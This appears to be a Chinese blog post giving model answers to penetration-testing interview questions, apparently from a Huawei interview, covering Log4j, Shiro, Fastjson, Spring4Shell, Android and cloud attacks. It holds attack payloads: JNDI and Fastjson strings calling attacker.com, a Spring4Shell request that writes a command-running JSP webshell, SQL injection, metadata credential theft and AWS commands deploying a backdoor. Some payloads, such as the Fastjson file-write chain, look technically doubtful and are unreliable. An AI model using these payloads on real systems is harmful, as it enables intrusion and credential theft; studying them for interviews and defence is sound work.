2025年渗透测试面试题总结-某华为面试复盘 (题目+回答)

网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

华为

[一、Log4j TrustedBase绕过技术解析](#一、Log4j TrustedBase绕过技术解析)

(一)TrustedBase机制原理

(二)实战绕过方法

(三)防御升级方案

[二、Spring Boot + Shiro渗透路径](#二、Spring Boot + Shiro渗透路径)

[(一)Shiro RememberMe反序列化](#(一)Shiro RememberMe反序列化)

[(二)Spring Boot端点利用](#(二)Spring Boot端点利用)

(三)联合攻击链

三、Fastjson版本指纹识别

(一)特征检测法

(二)版本差异表

四、Fastjson文件读写Gadget链

(一)利用链构造

(二)漏洞原理

五、后台登录框渗透矩阵

(一)综合攻击面

(二)高级利用

六、Spring4Shell漏洞全解

(一)漏洞原理

(二)检测方法

(三)武器化利用

七、安卓系统RCE攻击矩阵

(一)四大攻击面

八、云环境移动端APP渗透

(一)云服务攻击路径

(二)混合利用链

防御体系构建建议


华为

复制代码
log4j如何绕过trustdebase
Springboot+shiro环境如何进行渗透
如果判断fastjson的版本
Fastjson文件读写gadget是哪条,原理是什么
给一个后台登录框有什么利用思路
SPring4shell 原理&检测&利用
安卓系统如何进行rce,有什么思路
给一个移动端的app,已知服务端是clund环境,有什么思路利用

一、Log4j TrustedBase绕过技术解析

(一)TrustedBase机制原理
复制代码
java`// Log4j 2.15.0+ 信任域配置 System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "false"); System.setProperty("log4j2.formatMsgNoLookups", "true");`

该机制限制JNDI只能从信任域加载类,但存在多种绕过方式:

(二)实战绕过方法
  1. LDAP重定向攻击

    复制代码
    ldap`ldap://attacker.com:1389/RedirectTo=http://secondary-server.com/Exploit.class `
    • 利用LDAP服务端配置重定向到非信任域
  2. JNDI上下文环境污染

    复制代码
    java`System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");`
    • 通过其他漏洞修改运行时环境变量
  3. 本地ClassPath注入

    复制代码
    bash${jndi:ldap://127.0.0.1:1389/Exploit}
    • 结合本地存在的恶意类文件触发加载
(三)防御升级方案
复制代码
xml<!-- log4j2.xml 加固配置 --> <Configuration status="WARN"> <Properties> <Property name="log4j2.formatMsgNoLookups">true</Property> <Property name="log4j2.enableJndi">false</Property> </Properties> </Configuration>

二、Spring Boot + Shiro渗透路径

(一)Shiro RememberMe反序列化
  1. 密钥爆破攻击

    复制代码
    python# shiro_tool.jar 使用示例 java -jar shiro_tool.jar http://target.com/login -k 所有可能的base64密钥 
  2. 内存密钥提取

    • 通过XX:+HeapDumpOnOutOfMemoryError获取堆转储文件
    • 使用Eclipse Memory Analyzer搜索"rememberMe"关键字
(二)Spring Boot端点利用
复制代码
httpGET /actuator/env HTTP/1.1 Host: target.com # 响应示例 {"spring.datasource.password":"Admin@123"} 
  • 敏感端点
    • /actuator/heapdump
    • /actuator/mappings
    • /actuator/beans
(三)联合攻击链
  1. Shiro反序列化获取基础权限
  2. 利用Spring Boot Actuator修改数据库密码
  3. 通过H2 Database Console执行系统命令

三、Fastjson版本指纹识别

(一)特征检测法
  1. 异常触发法

    复制代码
    json`{"@type":"java.lang.AutoCloseable" `
    • 1.2.25以下版本会抛出异常
  2. DNS探测法

    复制代码
    json{"@type":"java.net.Inet4Address","val":"dnslog-attacker.com"} 
    • 1.2.24版本自动解析
(二)版本差异表
特征 1.2.24 1.2.47 1.2.68
AutoType支持 开启 半关闭 全关闭
默认关闭类型检查

四、Fastjson文件读写Gadget链

(一)利用链构造
复制代码
java`// 利用JdbcRowSetImpl触发JNDI { "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://attacker.com/Exploit", "autoCommit":true } // 文件读写利用链 { "@type":"java.lang.AutoCloseable", "@type":"org.apache.commons.io.FileUtils", "path":"/etc/passwd", "output":"./output.txt" }`
(二)漏洞原理
  1. 反序列化时自动调用setter方法
  2. 通过精心构造的类调用链触发文件操作
  3. 利用Java反射机制绕过类型检查

五、后台登录框渗透矩阵

(一)综合攻击面
  1. 凭证爆破

    复制代码
    httpPOST /login HTTP/1.1 ... username=admin&password=§Admin123§ 
    • 使用Cluster Bomb模式进行组合爆破
  2. OAuth劫持

    复制代码
    html<iframe src="https://target.com/login?redirect_uri=attacker.com"> 
    • 劫持第三方登录回调地址
  3. JWT密钥破解

    复制代码
    bashjwt-cracker -t eyJhbGciOiJIUzI1NiIs... -v 123456 
    • 通过已知的JWT结构爆破密钥
(二)高级利用
复制代码
httpPOST /login HTTP/1.1 ... username=admin' AND 1=dbms_pipe.receive_message('RDS',5)--&password=1 
  • 通过时间盲注获取数据库信息

六、Spring4Shell漏洞全解

(一)漏洞原理
复制代码
java// 漏洞触发点 @RequestMapping("/test") public String index(@ModelAttribute User user) { return "index"; } // 利用Payload class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i 

通过参数绑定修改Tomcat日志配置实现Webshell写入

(二)检测方法
复制代码
bashcurl -X POST http://target.com/test -d "class.module.classLoader=1" # 响应包含"ClassLoader"异常则存在漏洞 
(三)武器化利用
复制代码
httpPOST /test HTTP/1.1 Content-Type: application/x-www-form-urlencoded class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp class.module.classLoader.resources.context.parent.pipeline.first.pattern=<% Runtime.getRuntime().exec(request.getParameter("cmd"));%> 

七、安卓系统RCE攻击矩阵

(一)四大攻击面
  1. Intent注入

    复制代码
    xml<activity android:exported="true"> <intent-filter> <action android:name="com.vuln.ACTION"/> </intent-filter> </activity>
    • 通过隐式Intent触发敏感操作
  2. JNI动态加载

    复制代码
    javaSystem.loadLibrary("vuln_lib"); 
    • 替换so文件实现代码注入
  3. WebView漏洞

    复制代码
    javawebView.setJavaScriptEnabled(true); webView.addJavascriptInterface(new JSInterface(), "bridge");
    • 通过addJavascriptInterface暴露Java对象
  4. 第三方SDK漏洞

    • 常见于推送服务(如JPush)、支付SDK等

八、云环境移动端APP渗透

(一)云服务攻击路径
  1. 元数据服务利用

    复制代码
    httpGET http://169.254.169.254/latest/meta-data/iam/security-credentials/
    • 通过APP所在容器的元数据服务获取临时凭证
  2. 云存储桶枚举

    复制代码
    bashs3scanner scan --bucket-name-prefix prod-target 
    • 通过APP硬编码的存储桶名称发现可写存储桶
  3. Serverless函数攻击

    复制代码
    python# 通过API Gateway触发Lambda函数 requests.post("https://api.target.com/prod/v1/query", json={"action":"exec", "cmd":"id"})
(二)混合利用链
  1. 逆向APP获取API密钥

  2. 通过云服务CLI执行命令

    复制代码
    bashaws s3 cp s3://malicious-bucket/backdoor.sh /tmp/ aws lambda update-function-code --function-name ProdFunc --zip-file fileb://backdoor.zip 

防御体系构建建议

  1. 云原生安全基线

    • 启用GuardDuty威胁检测
    • 配置IAM策略最小权限原则
    • 使用KMS进行数据加密
  2. 移动端加固方案

    复制代码
    java// ProGuard混淆配置 -keep class com.sensitive.** { *; } -dontwarn okhttp3.**
    • 集成SSL Pinning防止中间人攻击
    • 使用DexGuard进行代码虚拟化
相关推荐
Chase_Mos16 分钟前
Spring 必会之微服务篇(1)
java·spring·微服务
码上淘金44 分钟前
【Python】Python常用控制结构详解:条件判断、遍历与循环控制
开发语言·python
Brilliant Nemo1 小时前
四、SpringMVC实战:构建高效表述层框架
开发语言·python
2301_787552871 小时前
console-chat-gpt开源程序是用于 AI Chat API 的 Python CLI
人工智能·python·gpt·开源·自动化
懵逼的小黑子1 小时前
Django 项目的 models 目录中,__init__.py 文件的作用
后端·python·django
Y3174292 小时前
Python Day23 学习
python·学习
Ai尚研修-贾莲2 小时前
Python语言在地球科学交叉领域中的应用——从数据可视化到常见数据分析方法的使用【实例操作】
python·信息可视化·数据分析·地球科学
小林学习编程3 小时前
SpringBoot校园失物招领信息平台
java·spring boot·后端
撸码到无法自拔3 小时前
docker常见命令
java·spring cloud·docker·容器·eureka
蓝婷儿3 小时前
前端面试每日三题 - Day 32
前端·面试·职场和发展